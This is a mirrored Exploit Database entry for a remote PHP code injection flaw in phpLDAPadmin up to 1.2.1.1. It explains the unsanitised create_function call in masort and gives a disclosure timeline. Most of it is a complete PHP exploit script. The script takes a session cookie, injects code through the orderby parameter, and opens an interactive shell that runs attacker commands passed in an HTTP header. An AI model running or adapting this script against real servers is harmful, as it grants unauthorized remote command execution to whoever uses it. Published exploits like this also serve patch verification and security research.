phpLDAPadmin 1.2.1.1 – Remote PHP Code Injection (1)

Exploit Database
118 阅读

作者： EgiX

日期： 2011-10-23
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/18021/

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<?php

------------------------------------------------------------------------

phpLDAPadmin <= 1.2.1.1 (query_engine) Remote PHP Code Injection Exploit

------------------------------------------------------------------------

author...............: EgiX

mail.................: n0b0d13s[at]gmail[dot]com

software link........: http://phpldapadmin.sourceforge.net/

affected versions....: from 1.2.0 to 1.2.1.1

+-------------------------------------------------------------------------+

| This proof of concept code was written for educational purpose only.|

| Use it at your own risk. Author will be not responsible for any damage. |

+-------------------------------------------------------------------------+

[-] vulnerable code in /lib/functions.php

1002.function masort(&$data,$sortby,$rev=0) {

1003.if (defined('DEBUG_ENABLED') && DEBUG_ENABLED && (($fargs=func_get_args())||$fargs='NOARGS'))

1004.debug_log('Entered (%%)',1,0,__FILE__,__LINE__,__METHOD__,$fargs);

1005.

1006.# if the array to sort is null or empty

1007.if (! $data) return;

1008.

1009.static $CACHE = array();

1010.

1011.if (empty($CACHE[$sortby])) {

1012.$code = "\$c=0;\n";

1013.

1014.foreach (explode(',',$sortby) as $key) {

1015.$code .= "if (is_object(\$a) || is_object(\$b)) {\n";

1016.

1017.$code .= "if (is_array(\$a->$key)) {\n";

1018.$code .= "asort(\$a->$key);\n";

1019.$code .= "\$aa = array_shift(\$a->$key);\n";

....

1078.$code .= 'return $c;';

1079.

1080.$CACHE[$sortby] = create_function('$a, $b',$code);

1081.}

The $sortby parameter passed to 'masort' function isn't properly sanitized before being used in a call to create_function()

at line 1080, this can be exploited to inject and execute arbitrary PHP code. The only possible attack vector is when handling

the 'query_engine' command, here input passed through $_REQUEST['orderby'] is passed as $sortby parameter to 'masort' function.

[-] Disclosure timeline:

[30/09/2011] - Vulnerability discovered

[02/10/2011] - Issue reported to http://sourceforge.net/support/tracker.php?aid=3417184

[05/10/2011] - Fix committed: http://phpldapadmin.git.sourceforge.net/git/gitweb.cgi?p=phpldapadmin/phpldapadmin;h=76e6dad

[23/10/2011] - Public disclosure

error_reporting(0);

set_time_limit(0);

ini_set("default_socket_timeout", 5);

function http_send($host, $packet)

{

if (!($sock = fsockopen($host, 80)))

die( "\n[-] No response from {$host}:80\n");

fwrite($sock, $packet);

return stream_get_contents($sock);

}

print "\n+-------------------------------------------------------------------+";

print "\n| phpLDAPadmin <= 1.2.1.1 Remote PHP Code Injection Exploit by EgiX |";

print "\n+-------------------------------------------------------------------+\n";

if ($argc < 3)

{

print "\nUsage......: php $argv[0] <host> <path>\n";

print "\nExample....: php $argv[0] localhost /";

print "\nExample....: php $argv[0] localhost /phpldapadmin/htdocs/\n";

die();

}

$host = $argv[1];

$path = $argv[2];

$packet= "GET {$path}index.php HTTP/1.0\r\n";

$packet .= "Host: {$host}\r\n";

$packet .= "Connection: close\r\n\r\n";

if (!preg_match("/Set-Cookie: ([^;]*);/", http_send($host, $packet), $sid)) die("\n[-] Session ID not found!\n");

$phpcode = "foo));}}error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die;/*";

$payload = "cmd=query_engine&query=none&search=1&orderby={$phpcode}";

$packet= "POST {$path}cmd.php HTTP/1.0\r\n";

$packet .= "Host: {$host}\r\n";

$packet .= "Cookie: {$sid[1]}\r\n";

$packet .= "Cmd: %s\r\n";

$packet .= "Content-Length: ".strlen($payload)."\r\n";

$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";

$packet .= "Connection: close\r\n\r\n{$payload}";

while(1)

{

print "\nphpldapadmin-shell# ";

if (($cmd = trim(fgets(STDIN))) == "exit") break;

preg_match("/_code_(.*)/s", http_send($host, sprintf($packet, base64_encode($cmd))), $m) ?

print $m[1] : die("\n[-] Exploit failed!\n");

}